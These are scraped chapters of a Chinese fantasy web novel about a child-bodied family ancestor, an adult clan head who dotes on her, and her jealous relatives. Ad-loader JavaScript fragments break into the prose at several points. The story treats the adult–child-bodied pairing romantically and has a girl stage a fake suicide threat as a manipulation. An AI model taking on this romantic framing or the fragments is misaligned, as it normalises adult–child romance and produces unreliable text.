对着一个四岁稚童都能起那种龌蹉心思,就说你不是衣冠禽兽,那谁是? 白安邦觉得这事情太大了,必须赶紧告诉老爷子,让老爷子拿主意。 他们这些做后辈的,当然不……举双手支持老祖宗有第二春,第三春,哪怕是第四春。 只是吧,这人选必须和他们老祖宗相配啊! 聊斋,不是,牛郎织女的故事都听过没有。 那上官墨就好比是地上的牛郎,他们老祖宗则是天上织女。 地上的牛郎上官墨:“……” 天上的织女白幺幺:“……” 心里虽然很不爽,但不得不承认上官墨这小子是很不错,可关键他和老祖宗不是一个世界的人呀。 两个不同世界的人,硬要凑成一对,最后很大可能要悲剧收场。 自家老祖宗自家心疼,绝不能让人给祸害了。 白安邦都快被气昏头了,心乱就眼盲,本想把照片转发给老爷子看的。 只是一个没留神,直接给发到了“相亲相爱一家人”的群里,发完还没马上注意到。 等他发现时,已经不能撤回了。 照片么,老爷子还没看到,倒是让家里三个臭小子先看到了。 老祖宗去朋友家长住了,又让他们没事别打扰她,有事她会主动联系他们的。 担心老祖宗联系他们时,会出现联系不到人的情况。 三兄弟稍微一合计,决定还是偷偷把手机带到学校稳妥点。 反正只要他们上课不偷玩,不会影响到学业就行了。 最先看到照片的是脾气比较暴的白文勋,不得不说是白安邦的种,他第一时间也不淡定了。 当然,九岁的孩子肯定不会往白安邦想的那方面想。 纯粹就是占有欲在作祟,类似那种自己最心爱的玩具……啊呸,老祖宗才不是玩具。 嗯,换个说法,争宠。 对,就是争宠! 竟然有不要脸的人凑到他们老祖宗面前献殷勤,想和他们争宠,还是个外人。 哼,他们老祖宗想要人抱,哪里需要他这个外人。 白文勋抬起没拿手机的手臂,开始大秀肌肉。 他也抱得动老祖宗的好不。 白文勋是快下课时偷偷看手机的,在他秀肌肉时,刚好下课铃声响起。 不然就他在课堂上莫名其妙做出如此突兀的动作,准会引起老师注意的。 老师一离开,白文勋急哄哄的起身找他哥。 一个班级,没隔几个座位,几步路就到了。 白 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 文旭见弟弟一下课就过来找他,脸上神情有那么一点点的一言难尽。 他正想问怎么呢,就见人凑到他耳朵边小声耳语起来。 “哥,你快看群里咱爸发的照片,有个老男人要和我们争宠,抢老祖宗,而且他已经开始行动了,不知道背着我们搞了多少小动作。” “哼,他不会以为比我们还会献殷勤,讨好老祖宗,就能把老祖宗从我们这边抢走吧!” “哥,你说我们是不是要快点采取些什么行动,比如老祖宗要是自己不爱走路,其实我也可以抱着老祖宗走的。” 升级为老男人的上官墨:“……” 一开始听得云里雾里,最后听得嘴角抽抽的白文旭:“……” “一边去,什么照片?我先看下。” 白文旭一把将弟弟的脑袋推开,拿出手机看起来。 怎么说,白文旭看到照片的一瞬,倒是没像白安邦和白文勋想那么多。 毕竟白安邦知道的某些隐秘,他又不知道。 至于争宠啥的,他又不似双胞胎弟弟那般幼稚,仅凭一张照片,哪里就会想那么多。 只是吧! 也不知道是不是因为先听了双胞胎弟弟的义愤填膺的控诉,他心中隐隐也生出了丝丝不舒服的感觉。 不过作为哥哥,他还是压低声音训起人来。 “瞎说啥,抱着咱们老祖宗的是上官家的家主,人家需要和我们争啥宠?还有人家抢我们老祖宗做啥?” 被训的白文勋不服气的又凑到他哥耳边。 “哥,你忘了咱们老祖宗可不简单,还有,你再看看,圈子里其他家的,哪家有像咱家这样的老祖宗?” “哼,人往往不就是这样,别人家有的东西,自家要是没有,可不就要惦记上别家的了。” 白文旭:“……” 怎么觉得这个不怎么聪明的弟弟,他说的话该死的有道理呢? 这时有同学走过来传话,说是教室门口,他们弟弟找。 没错,白文泽小同学杀过来了,显然也是看到那照片了的。 可能是他年纪最小,所以想法也最简单…… 三兄弟找了个隐秘的地方,开始交头接耳起来。 第202章 我那迷人的小祖宗or老祖宗(40) “大哥,二哥,我知道老祖宗为什么要去朋友家长住了。” 白文旭和白文勋:“……” 难道这个不怎么聪明的弟弟,终于要聪明一回了吗? “你说说看,为什么?” 两人异口同声的问,不得不说不愧是双胞胎,这默契杠杠滴。 白文泽小朋友皱着眉,努力做出一副恨铁不成钢的表情,同时用“你们真笨”的眼神看着两个哥哥。 白文旭和白文勋:……他们要收回刚刚的想法! 白文泽小朋友可没发现两个哥哥的神色变化,开始给两人解惑。 白文泽小朋友一张口就先来个冷哼。 “哼,还能因为什么,肯定是因为咱家对老祖宗还不够好呀!” “哥,你们自己想想看,不管是咱爸还是咱爷,你有见过他们抱过老祖宗吗?” 也不等两个哥哥回答,他就一脸愤愤不平道:“没有,他们都没有。” “按照咱们老祖宗的辈份和在咱家的地位,她就是出门想整个八抬大轿啥的不过分吧!” 嗯,电视上都这么演的,所以他说的一点都没毛病。 白文旭和白文勋:……说法有点夸张,不过好像也没错。 按照他们家的条件,老祖宗若是有这个要求,他们爷肯定会满足老祖宗。 就算他们家没这个条件,只要老祖宗提出这个要求,感觉他们爷就是砸锅卖铁同样也会满足老祖宗的。 白文旭和白文勋呐呐的点头。 白文泽小朋友像是得到了鼓舞,继续说起来。 “所以呀,你们看,老祖宗的朋友就很懂事,懂得要抱着咱老祖宗走,这样咱老祖宗就不用自己走路,也不会因为自己走路累着了,还能彰显她的身份。” …… 白文泽小朋友话匣子一打开,听众还是两个哥哥,就有说得停不下来的趋势了。 也幸好,他还知道自己停下来。 不过停下来前,白文泽小朋友还不忘来一番总结。 “咱爷就不说了,年纪那么大,一把老骨头的,老祖宗瞧着虽不是很重,但真让咱爷抱着,到时两个人的安危我们都要担心。” “至于我们几个,还小了,就算我们想抱老祖宗,大人们肯定不会放心的。” “说来说去,就是咱爸了,多大的人,做事还那么不靠谱,对老祖宗也不够上心……” 一把老骨头的老爷子:“……” 有本事来他面前说说看,一定让几个臭小子体会一把姜还是老的辣,不把他们的鼻涕眼泪辣出来怎么行。 不靠谱的白安邦:“……” 呵,绝对是皮痒了。 还有,几个臭小子懂啥,那是老祖宗,老祖宗呀,他敢抱吗? 话题中心的白幺幺:“……” 想抱她? 一个个都在想屁吃了! 她不要面子的吗? 还有她是那种随便的人吗? 至于她为什么给大佬抱?别问,问,她就是这么双标。 再说了一群啥也不知道的,那可是真正的大佬。 换成你们,有机会让他抱,你们一个个的肯定迫不及待就上了吧! 上官墨:“……” 想找死就来! 白家一众人:“……” 那画面简直不敢想象,似乎有那么点辣眼睛…… 上课铃声响许久了,三兄弟一时根本没心情回去上课。 不过三兄弟都还记得他们是偷偷带手机来学校的,只敢像这样聚一起讨论,并没有在群里发信息。 白安邦发现自己将照片发错地方,想着要不要重新再单独发给老爷子下。 这时电话响了,是他安排过去盯着那对母女的人打来的。 电话还没接起来,白安邦就先下意识皱眉。 果然,他这眉总是要皱的。 他听到了什么?那孩子竟然跑到医院顶楼准备闹自杀! 幸好他对那女人不放心,担心对方脑回路比较不正常(脑回路正常的女人会偷陌生男人的精子生孩子),还会整出什么幺蛾子来。 所以在知道咖啡馆发生的事后,他就安排人去盯着那对母女了。 没想到早上人才刚醒,不知道用什么手段拿到了他的联系方式,直接打电话给他。 白安邦本就不是什么优柔寡断的人,现在又搞跳楼自杀的这一出,他的耐心彻底告罄。 挂了电话,他脸沉得可怕。 此刻他哪里还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 有心情吃饭,拿着手机往外走去。 不是要见他吗? 那他就再过去一趟,顺便把话说明白了。 姜可柔……跳楼自杀? 怎么可能,她才十一岁,之前再难再苦的日子,她都那么渴望活着。 这是脑中那道声音给她出的主意,她只是假装要跳楼自杀,不是真的。 “出国?不行,不能出国。” “一旦出国了,你想回来就难了,你又没做错什么,凭什么要你出国。” “而且你一旦出国了,这国内的一切,白家那边的富贵就和你没半毛钱关系了。” “不许出国,你快把身体给我的,一 手好牌要是就这么被你打烂了,你……你……” 鬼使神差的,她出声道:“身体我是不可能交给你的,你想活着,我也想活着。” “还有,我也不想出国,我也想像……她一样过着小公主般的生活,可是我才十一岁,我能做什么?” 十一岁的姜可柔说完,眼泪再次不争气的掉了下来。 重生回来的姜可柔:“……好了,别哭了,想不出国这还不简单,你等下只要按照我说的话做,保准你不仅不用出国,或许还可以被接回白家当大小姐了” 回白家当大小姐? 十一岁的姜可柔一下子收住眼泪,脑中不自觉的浮现出包间里那个瓷娃娃般的同父异母妹妹吃蛋糕的画面。 十一岁的姜可柔心动了,“真……真的吗?你有办法让我不用出国?” “还有……还有让爸爸接我回家吗?” 重生回来的姜可柔语气轻松道:“这还不简单,白家人,我最了解了,你等下跑到医院顶楼,假装要跳楼自杀,我会教你一些话,等围观人群足够多后,你就哭着把这些话说出来……” …… 群里的照片,白保国是傍晚几个孙子回来后,在他们提醒下才看到的。 没办法,上了年纪的人,对电子产品比较不感兴趣。 再加上一下午,老爷子都在老伙伴那和人对弈了,哪有时间看手机。 一张照片,在白家引发了什么,白幺幺不得而知。 晚饭时间到了,她现在正开开心心的准备和大佬一起去吃大餐了。 第203章 我那迷人的小祖宗or老祖宗(41) 车里。 瞅着小人儿那副高兴欢喜的模样,上官墨冷不丁的来了句,“白家人待你不好吗?” 不然怎么只是带小人儿出去吃顿饭,就能让人如此满足,如此开心。 白小人幺幺:“……” 白家人对她不好吗? 大佬从哪里看出来的? 明明白家人是真把她当老祖宗供起来的呀! 不管了,还是先替白家人解释下,省的大佬误会。 白小人幺幺抬了抬下巴,“他们敢,哼,他们要是敢对我不好,我早就抽死他们了。” 白幺幺这言外之意就是,白家人不敢对她不好,简直对她好极了。 “嗯。” 上官墨也觉得是自己想多了。 白小人幺幺挪动了下小屁屁,慢慢靠近大佬,等挨近了,才侧头盯着人的眼睛看。 “大哥哥,你刚刚是在关心我吗?” “如果,如果我的那群白家后辈们真的对我不好,大哥哥你是不是会帮我教训他们,还会收留我在你家长久住下?” 上官墨:“……” 果然是他对小人儿有些太过上心了,关心则乱才会问出那样问题。 在小人儿目光注视下,他最终还是点了点头。 “也不是不可以……左右就是多一张嘴吃饭的事。” 上官墨说话时语气淡淡的,仿佛两人此时在谈论的是什么无关紧要的小事。 白小人幺幺立马做出一个被感动到了的夸张表情。 “呜呜,大哥哥你真好,怎么办呢?幺幺真的越来越喜欢大哥哥了!” 说着,她还直接去挽大佬的胳膊。 一副这么好的大哥哥,她当然要与人多贴贴更亲密些的模样。 上官墨:“……” 越来……越喜欢他了吗? 还真是不知羞,总是把这种话随便挂嘴边说。 第二次,已经第二次如此直白的向他表达爱意了,他该怎么做? 同样言语直白的回应对方?还是只先在行为上回应对方? 越容易得到的,往往越不会被珍惜,上官墨脑中突然冒出了这么句话来。 他下意识的垂眸盯着挽着自己手臂的白嫩小胳膊,心里莫名的就有些些堵堵的了。 察觉到人身体有那么一瞬间的僵硬,白幺幺心里乐极了。 她抬眸往人脸上看去,才发现大佬正垂眸看着两人交缠在一起的胳膊。 就在她刚想问大佬为什么一直盯着那看时,大佬那不辨喜怒的声音响起了。 “除了我,你……你还有对其他异性表达……说过喜欢吗?” 上官墨本想问的是还有没有对除他以外的异性表达过爱意,只是如此直白的话到嘴边,他竟有点说不出口。 真的很不符合他的性子。 只是,自从遇到这小人儿后,他说出不符合性子的话还少吗?做出不符合性子行为也还少吗? 白小人幺幺:“……” 她眨巴眨巴两下大眼睛,一副不明白大佬为什么突然问这么个问题的模样。 眼角余光不经意瞥见大佬耳后根的一小处位置,白幺幺怔愣了下。 红了,大佬的耳后根的皮肤竟然红了。 这大佬真的好……纯情啊! 白幺幺同志莫名的有些心虚,心中还隐隐生出了罪恶感。 她为了抱大腿,如此这般瞎撩拨人,是不是有那么一点点的不好呀。 瞅见人不仅没回答他的问题,还当着他的面发起呆来,上官墨忍不住又出声问道:“这个问题很难回答吗?” 白幺幺:“……” 她刚刚应该是听错了,大佬说完话后肯定不可能磨牙的。 “不难,很好回答的。” 白小人幺幺信誓旦旦的说:“没有,当然没有了,在这个世界上,迄今为止,我就只对大哥哥你说过。” 白小人幺幺大眼睛睁得溜圆,眼珠子定定地,没让它们转动一丝一毫,努力的想让大佬看到她眼中的真诚。 没撒谎,她可是真的没撒谎的哦。 大佬若是需要她举手发誓,她也很乐意配合。 “嗯。” 得到满意的回答,上官墨仅仅只是很平淡的回了个“嗯。” 如果不去看他唇角那勾起的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弧度,都要以为问题不过是他随口一问,对于能得到什么样的回答,他真的一点都不关心,也不在意。 白幺幺盯着大佬那翘起的嘴角,暗暗在心里默念了一个词,闷骚。 到地方后,上官墨先下车。 白幺幺一如既往的直接要从同一侧车门下车,只是……那挡在车门前的大佬,以及探进车内的两只手是闹哪样? 很快的,她就得到解惑了。 上官墨很自然的说道:“过来些,我抱你下车。” 白幺幺:“???” 不是,大佬会抱她,但前提都是她主动讨抱抱的。 现在,大佬竟然主动要抱她,还是抱她下车?! 白幺幺有点……受宠若惊,嗯,肯定没有。 她就是一时有点没反应过来,等反应过来后,当然是乐呵呵的配合大佬动作。 直到自家主子抱着人已经走进食味轩的大门,武一才回过神来。 他不是没见过他家主子抱白家这位老祖宗,但每回都是白家这位老祖宗说要他家主子抱抱,他家主子才抱人的。 刚刚下车后,他家主子竟然回身过去,主动要抱白家这位老祖宗。 这让武一真的很惊讶。 难道抱小孩,抱着抱着就会产生行为习惯,上瘾吗? 一顿饭下来,白幺幺吃得是心满意足,没有辜负她一下午的期待。 上官墨瞧着人挺着圆鼓鼓的小肚子,一脸餍足的瘫坐在椅子上,脸上露出浅淡笑意来。 “今晚吃下来,最喜欢哪几道菜?” 白小人幺幺撩起眼皮看了人一眼,以为大佬是在关心她的喜好,便一口气报了五道菜的名字。 上官墨只听一遍就记下来了,“明天我会让家里的厨师过来学习下这几道菜的做法,以后想吃了,在家里就可以吃到,不用特意跑这里来。” 白小人幺幺眸子一亮,很是欢喜的说:“大哥哥,真的吗?你对幺幺真好。” 说话的人似乎没注意到他用错了是“在家里”这个词,或者也可能是他故意用上这个词的。 而听话的人,嗯,有没有注意到这个词,似乎不是很重要。 第204章 我那迷人的小祖宗or老祖宗(42) 两人离开包间下楼,来到一楼大厅时,一道熟悉的身影朝他们跑来。 白文泽抛下两个哥哥以及老爷子,直接跑起来,最先来到老祖宗面前。 他一脸惊喜的看着白幺幺,“好巧啊,老祖宗您也来食味轩吃饭吗?” 白文泽脸上的惊是假的,喜是真的。 只是才七岁的孩子,还不怎么会收敛自己的某些情绪。 比如对大佬的敌意? 这时白文旭和白文勋也到了白幺幺面前,两人先后向白幺幺问好。 “老祖宗晚上好。” 相较于白文旭的隐晦打量,白文勋和白文泽两人就差把眼睛挂上官墨身上了。 白文勋在心里冷哼:……这就是和他们争宠的老男人,瞧着身材也就一般般。 哼,再过几年,等自己长大了,一定长得比他高,比他健硕。 白文泽同样在心里哼哼唧唧:……表情黑冷黑冷的,是会吓哭小孩子的类型。 没自己可爱,肯定也没自己嘴甜,这种类型的盛宠不了多久的,很快就会被老祖宗打入冷宫的。 不足为惧的,嗯,康子奇说了电视剧都这样演的。 被三兄弟甩在身后老爷子终于追上大部队,他在想自己要不要先来个感慨。 诸如果然是老了老了,眨眼的功夫就被几个臭小子落在身后了。 话说白家人这个时间点怎么会出现在食味轩,真有如此巧合的事吗? 答案肯定是没有的呀。 下午放学,三兄弟回家,刚好与哼着小曲回来的老爷子在家门碰上。 老爷子和老伙伴对弈了一下午,赢多输少,能不高兴么。 就这样,老爷子的表情和三兄弟的形成了鲜明的对比。 一个很开心对上三个不怎么开心。 作为爷爷,白保国还是出声关心下。 “怎么,你们三这是在学校都被老师批评教育了?” 三兄弟:“……” 最小的白文泽一副被冤枉的生气模样,撅了撅嘴,“爷爷!” “我们在学校可乖了,老师可喜欢我们了。” 白文勋这时拿出手机,“爷爷,你是不是还没看我爸中午发在咱家群里的信息。” 儿子发群里的信息? 白保国点了点头,“我下午找你蒋爷爷对弈去了,哪里有空看啥信息。” “你爸发啥信息了,很重要吗? 白保国说着拿出手机,点开看起来。 “哦,是你们老祖宗的照片呀,你爸他有心了。” 白保国又仔细看了照片一眼,满意的点评道:“看来你们老祖宗在上官家过得很好,这样我也就放心了。” 三兄弟:“……” 就这样?爷爷的反应就这样! 这回不是白文勋先急了,而是白文泽先急了。 拉着老爷子的手,开始恨铁不成钢将他那套说辞又说了一遍。 当然现在是对着老爷子说的,白文泽小朋友还是很聪明的,知道省略那些关于老爷子的。 反正吧,听了小孙子这么一番看似合理的说道,白保国神色有那么一瞬间的微凝。 之后就是白文勋接到小伙伴的电话,说是在食味轩见到他家老祖宗了。 最后,就有了现在的这场偶遇。 至于一家人为什么没到齐,少了白安邦,因为全都把他忘了呗。 白安邦处理完那对母女的事,又匆匆回公司处理点事,踩着饭点回到家,进门就发现家里很安静。 问了管家才知道老爷子临时起意,带着三兄弟去食味轩了。 全家人出去吃独食,唯独把他遗忘的白安邦:“……” 他还想着饭后和老爷子去书房聊聊关于老祖宗和上官墨那小子的情况。 看来只能等人回来后再说了。 能够偶遇白家人,白幺幺很开心。 她简单回应了下几人的问好,之后不忘关心下三兄弟的学业。 童言无忌么,最小的白文泽就这么被派出来打头阵。 “老祖宗,您可不可以不要在朋友家待那么多天呀,我和哥哥们都超级想您的,想得都有点吃不下饭了。” 白文泽说着说着脸就红起来了,那害羞的小模样可爱极了,让人忍不住想捏捏他的脸。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如同第一次初见般,白幺幺再次将魔爪伸向白文泽小朋友肉乎乎的小脸。 这次可顺利多了,没再出现她捏他躲他插翅难躲的画面。 白文泽小朋友脸红得跟猴屁股,任由她施为,甚至还很配合的微蹲下身并仰了仰小脸。 不得不说小家伙有长进了,这种时候还不忘撒起娇来。 “老祖宗,老祖宗,要不您晚上就跟我们回家吧,住朋友家哪里有自家舒服,好不好呀!” 白文泽小朋友:……呜呜,他容易么,为了把老祖宗哄回家,都牺牲色相了! 白文泽小朋友刚刚冲着老祖宗撒娇时,可没忘记偷偷给上官墨递去一个得意挑衅的目光。 哼,瞧见没,老祖宗捏过你的脸没?肯定没有吧,老祖宗最喜欢的还是我! 上官墨:“……” 又好气又好笑,同时压下 心中的那股不舒服,以及想将人扯一边去的冲动。 白幺幺:“???” 吃饱喝足,心里美滋滋,下楼来还能偶遇白家人,白幺幺是惊喜的。 只是今儿白家人怎么都有些奇奇怪怪的,倒不是对她,就是对她身侧的大佬。 三兄弟在打量人就算了,老爷子也加入进去。 真不知道,他们怎么就突然对大佬如此感兴趣。 现在手下这傻小子还敢挑衅人,真真是初生牛犊不怕虎啊! 隐隐从大佬身上感觉到不愉的气息,白幺幺只以为是因为手下这小家伙的挑衅所致,便又对着小家伙那肉嘟嘟小脸狠狠蹂躏一番。 等觉得差不多后,她才收手。 “好了,白家我暂时还不打算回去,你们忙你们的去吧,我也要和……我朋友回去了。” 白文泽失落垂下脑袋,低低唤了声:“老祖宗……” 白保国一直在旁边静静的看着,他就知道小孙子不行的。 现在换他上场,当然他可不是要劝老祖宗回白家的。 “老祖宗,您能否借一步说话。” 白幺幺:“……” 老爷子要和她借一步说啥?他们几个今儿如此反常的原因吗? 第205章 我那迷人的小祖宗or老祖宗(43) “行。” 白小人幺幺回头扯了扯大佬的手,示意人放低下身子。 没办法,她可是要面子的。 让她当着任何人的面喊大佬大哥哥,她都可以。 可是吧,让当着三兄弟的面,莫名就感觉有点……反正就感觉有损老祖宗威严。 上官墨以为小人儿是有什么悄悄话要和他说,毫不迟疑的蹲下身来。 在小人儿亲密的贴着他耳朵说话时,他除了专心听小人儿在说什么,眸光像是很随意般扫过某小孩,并停顿了那么一瞬。 隐隐暗含着挑衅的味道,像是在说,看,她和我说悄悄话了,你没有。 白幺幺可不知道大佬会做出如此幼稚的行为,她很小声的交代道:“大哥哥,我和小保国去那边说说话,也不知道要说多久,要不你先到车上等我。” 以为小人儿要和他说悄悄话的上官墨:“……” 白幺幺说完要退开时,察觉的大佬的动作,当即停住脚步。 瞅着大佬也凑到她耳朵边,一副要说悄悄话的模样,白幺幺微愣了下。 温热的气息打在她粉嫩嫩的小耳朵上,酥酥麻麻痒痒的。 大佬要和她说悄悄话呀,白幺幺心中生出点小期待来。 “不用回车上,我就在站那边等你,多久都等。” 感觉自己被大佬戏耍了的白幺幺:“……” 说好的悄悄话呢?! 白小人幺幺伸手去揪大佬的耳朵,当然她就是刚揪上时用了点力,一副不小心没注意轻重的样子,后面都没怎么用力。 两人像是玩上了说悄悄话的游戏,我说完,你来说,你说完,我再来说。 白小人幺幺扒拉着大佬的耳朵再次说起“悄悄话”来。 “好的,大哥哥,我会让小保国尽量长话短说,不会让大哥哥你等太久的。” 幼稚了一回已经是极限。 好吧,主要是刚刚被小人儿触摸过的耳朵在快速发红发烫,经不起第二次了。 白幺幺话音刚落,上官墨快速起身,朝人点了点头,同时“嗯”了声。 两人这般旁若无人的说悄悄话,看得白家几人是表情各异。 等白幺幺和老爷子离开,白文泽小朋友终是没忍住,气呼呼的瞪了上官墨一眼。 上官墨:“……” 等着,到时用名正言顺的身份教训你小子。 就这样,三兄弟站一边,上官墨站一边,两边人都很有默契的转过身去,留给对方一个背影。 白保国事先已经把要说的话斟酌好几遍了,可真到要说时,却又不知道要怎么开口了。 毕竟眼前的不是别人,是他们白家的老祖宗,讲得俗点就是长辈中的天花板。 他一个小辈中的小辈,竟然要去操心,甚至去插手老祖宗的感情方面的事,怎么说都不合适。 见人一副要说不说的纠结模样,白幺幺皱眉。 “小保国,你想说什么就说,最烦你们这种说话不干脆的性子了。” 听出老祖宗隐隐有要动怒的迹象,白保国咬咬牙豁出去了。 “老祖宗,我……我就是想问您现在对上官家主是怎样一个看法,怎样一个态度?” 白幺幺:“???” 不是,小保国怎么突然关心起这么奇怪的问题来。 难道是她抱大腿的行为太明显,被小保国看出端倪来了。 也是,在白家人眼中,她可是他们心中顶厉害的老祖宗。 可这么厉害的老祖宗,竟然在努力抱一个“普通人”的大腿,他们不理解也很正常。 解释是不可能解释,但老祖宗要面子是肯定的。 白小人幺幺敛去眸中的不自然神色,清了清嗓子,沉声道:“小保国,你突然问这个做什么?” 白保国再次陷入欲言又止的状态中,惹得白幺幺再次皱眉。 白小人幺幺眯了眯眸子,一字一顿道:“小保国,你要是再不好好说话,我真的会抽你哦!” 真是的,人家明明是想当个温柔慈祥的老祖宗的,非得逼得人家动手是吗? 白保国:“……” 脑中浮现起老祖宗抽儿子的画面,他身体陡然一个激灵。 先不说他这把老骨头经得起老祖宗抽几下,就说他这把年纪了,还被老祖宗抽,他这张 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 老脸还要不要。 “老祖宗,我这就好好说话。”白保国忙不迭的点头。 白幺幺用眼神示意对方,那还不快说。 白保国没有一下子就挑明,而是先问道:“老祖宗,牛郎织女的故事,您还有印象吗?” 牛郎织女? 这种家喻户晓的故事,她怎么可能没印象。 “嗯,印象很深。” 白小人幺幺看着人,继续等待下文。 “有印象啊,有印象就好,唉,牛郎织女他们就因为两个世界的人,最后想要见上一面都那么难。” 白保国很勉强挤出一抹笑来,继续说道:“上官家主是真的很优秀,不过他和老祖宗您毕竟是两个世界的人。” 白幺幺:“……” 她好像听懂,又好像没听懂。 “老祖宗,老祖宗 ,您……” “好了,我听懂你的意思了。” 白幺幺朝人摆摆手,“小保国啊,我知道你在担心什么,好了,有些事你没必要知道太多,你只要知道一点就是大哥哥才不是什么牛郎了。” 白保国:“……” 他当然知道上官家主不是牛郎,牛郎只是个比喻,比喻呀! 白保国还想说什么,白幺幺没给他机会。 “小保国啊,我是你老祖宗!” 言外之意就是,你难道会比我还懂吗? 白保国听懂了老祖宗话中的意思,压在心中的石头跟着落下,整个人一下子轻松不少。 两人交谈不到十分钟就结束了,白幺幺和白保国走回去时就看到大佬和三兄弟分站两边,中间像是隔着楚河汉界般。 想到什么,倏地,白小人幺幺的脸红了。 不……不会……三兄弟也把她和大佬的关系往那方面想了吧! 如果是的话,三兄弟刚刚奇奇怪怪的表现就解释得通了。 莫名的就觉得有点臊得慌。 这小保国也真是的,怎么啥事都和小孩子说。 白幺幺小跑的走过去扯着大佬的手就往外走,同时在心里默念,凡事只要你不尴尬,尴尬的就是别人。 第206章 我那迷人的小祖宗or老祖宗(44) 听到脚步声,上官墨并没有转身。 等手被一只小手拉住,上官墨才低头看去,入目的是张红扑扑的小脸。 上官墨:“……” 明明平时要他抱抱,向他表达爱意时,都没这般脸红,怎么现在只是牵个手,脸就红成那样? 上官墨心中疑惑,却没出声调侃取笑之类的。 女人脸皮都……比较薄,等下要是生气了,还不得他来哄。 没有和三兄弟道别,白幺幺拉着上官墨先离开了。 白保国朝三兄弟走去,听到脚步声,三兄弟忙回头。 一时也没注意,对面已经没人了。 他们着急的围着老爷子问东问西的,所有的问题简单归结为一个问题,那就是爷爷你有没有成功把老祖宗哄回家? 根本就不是去哄人回家的白保国:“……” 遇到不想回答的问题,又不想忽悠几个孩子,老爷子直接开始驱赶起人来。 “去去去,都一边去,老祖宗她老是长辈,爱去哪里就去哪里,爱在哪里住就在哪里住,你们几个臭小子少瞎操心。” 想到什么,老爷子严肃了下神情,“以后遇到上官家主都有礼貌些,嘴甜些知道吗?” 三兄弟:“……” 呜呜,爷爷叛变了!!! 车子行驶了几分钟,上官墨状似很随意的问道:“刚刚白家主和你说什么呢?” 明知道两人特意去旁边说话,就是那些话不能让他这个……外人听。 只是不知道为何,他就是冒昧问出口了。 说了什么? 白小人幺幺神色有那么一瞬间的不自然,“咳咳……其实也没说什么,就是给我讲了一遍牛郎织女的故事。” 牛郎织女?! 这四个字仿佛一道惊雷在他脑中炸响,聪明如他又怎么会不明白白家主给小人儿讲这个故事的用意。 从头至尾,只要关于小人儿的,他都是跟随着自己的心走。 从未去想,小人儿要是一直维持现在的形态,不变大怎么办? 更是从未去想,她和他是不一样的,或许还不是一个世界的人,未来又该何去何从? 牛郎织女的故事啊! 她和她,最后也会像牛郎织女那样,被强行分开,想见一面都难吗? 想到这,上官墨周身气息骤然变冷。 白小人幺幺抽动了下鼻子,忙抬起小手虚掩着嘴,“阿嚏……” “大哥哥,你怎么了?” 白小人幺幺伸手去扯对方的手,大眼睛里写满了关心与担忧。 上官墨敛去周身寒气,反手将小人儿的小手包在掌中。 “你会离开我吗?” 白幺幺:“……” “大哥哥,你怎么突然问这个问题?” 白小人幺幺疑惑的歪了歪脑袋,不过还是回道:“天下无不散的宴席,大哥哥,总有一天,我是要离开的呀!” 上官墨低垂下眼睑,声音难辨喜怒,“幺幺可以不离开,永远待在我身边吗?” 白幺幺:……这也不是不行。 只是,大佬,暂时的离开,只是为了在另一个世界相聚。 可是她不能说,不能说呀! 不然好不容易抱上的大腿不仅要飞走,大佬应该很大可能会让她好看的吧! 白小人幺幺挪动了下身体,与人贴近些,“大哥哥,你怎么了?你是不想和幺幺分开吗?” “那幺幺就不离开了,一直住在大哥哥家,直到幺幺不得不离开的时候。” 所以,终究还是要离开的。 上官墨沉默不语,缓缓收起外放的冷气。 这个话题到此终止,两人继续如以往那般相处,只是隐隐有什么在两人间悄然改变着。 前段时间,白家才因突然冒出个年纪小,辈分大得离谱的老祖宗成为圈子里的热谈。 而白家这个老祖宗的热度在圈子里都还没降下来,没成想又掀起另一波热度。 白家的老祖宗竟然跑到上官家去,直接在上官家长住下来。 成为了上官家主的小跟屁虫,每天跟着上官家主同进同出。 反正现在基本上圈子里的谁在外面遇见上官家主,他身边准有白家老祖宗的身影。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 圈子的人那个好奇呀,白家和上官家到底是什么情况? 还有白家这位突然冒出来的老祖宗到底什么来历? 竟能让上官家主如此纵宠着,不知道的还以为是亲生女儿了。 大伙儿八卦时有往这方面想,只是想想两家在圈子里的领头地位,就觉得这想法根本不可能。 白幺幺的身量决定了她每天只能当个游手好闲的米虫,没办法,去上学的话,不管是去幼儿园还是小学她都拒绝。 至于初中高中大学,她这情况还是不去搞崩其他同学的心态了。 好吧,最重要的,她还要回上界浪了,在下界还是低调做人为好。 今早,白幺幺再次跟着大佬来到公司。 这几天,她不追剧,改玩仙侠游戏了。 白幺幺才打开游戏界面,手机铃声响了。 看了眼是白安邦打来的,白幺幺心想这 小子还真会挑时间。 如果等她游戏开打,不管有啥事都要等她这把打完再说了。 “小安安,大早上的啥事找老祖宗呀?” 跟在大佬身边,白幺幺的小日子过得甜滋滋的。 距离上次在张家举办的宴会上见到自家老祖宗,已经过去五天了。 知道老祖宗在上官家过得很好是一回事,电话里听到老祖宗说话声音都带着愉悦又是一回事。 想到等下要说的事,白安邦心里打鼓,也不知道会不会影响到老祖宗的心情。 对面一直没有声音传来,白幺幺微微皱眉 ,“小安安,你怎么不说话?” 电话一头的白安邦垂了垂眸道:“老祖宗,姜梦母女死了。” 白幺幺:“……” 怎么说呢,姜可柔这个以那种方式到来的女儿,在白安邦这边真的就比陌生人好上那么一点点。 至于姜梦那女人,白安邦是厌恶的。 收到两人的死讯时,白安邦心情只是有点小小的复杂,而后想到什么,便有些紧张起来。 “两人是怎么死的?” 白幺幺的声音将白安邦从思绪中拉了回来。 第207章 我那迷人的小祖宗or老祖宗(45) 说起这个就要从母女俩被送出国的前一天,在医院闹自杀那事开始说起。 那天白安邦亲自去了趟医院,算是出国前最后一次见见母女俩,把该说的不该说的都说清楚了。 之前他虽对那孩子没有感情,但总会顾虑些东西,比如稚子无辜。 